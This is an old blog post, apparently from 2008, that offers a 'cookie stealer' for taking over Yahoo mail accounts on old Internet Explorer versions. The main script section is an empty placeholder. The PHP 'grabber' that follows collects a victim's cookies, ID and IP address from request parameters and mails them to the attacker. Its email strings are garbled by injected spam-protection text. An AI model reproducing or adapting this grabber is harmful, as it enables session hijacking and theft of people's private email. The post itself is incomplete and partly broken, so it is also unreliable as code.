Friday, May 9, 2008

Y! Cookie Stealer script!!

Yahoo security weakness
- cookie stoler -
Today status - Unpatched

This script can help anyone to acces victims inbox without knowing the password
Only works on IE 5x-6x and only with old Yahoo mailboxes (not with the Beta version)
=========================================================================== ==============================
The Script:
==============================

Some text here

-

==============================
Php grabber (mail sender):
==============================

$to=" myemail@yahoo.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it ";
$subject="ID: ".$_GET["id"];
$message="ID: ".$_GET["id"]."\nCookies: \n".$_GET["cookie"]."\nIp: ".$_SERVER["REMOTE_ADDR"];
mail($to,$subject,$message, "From: cookies@lod.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it ");

header("Expires: Mon, 28 jun 2007 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

?>

No comments: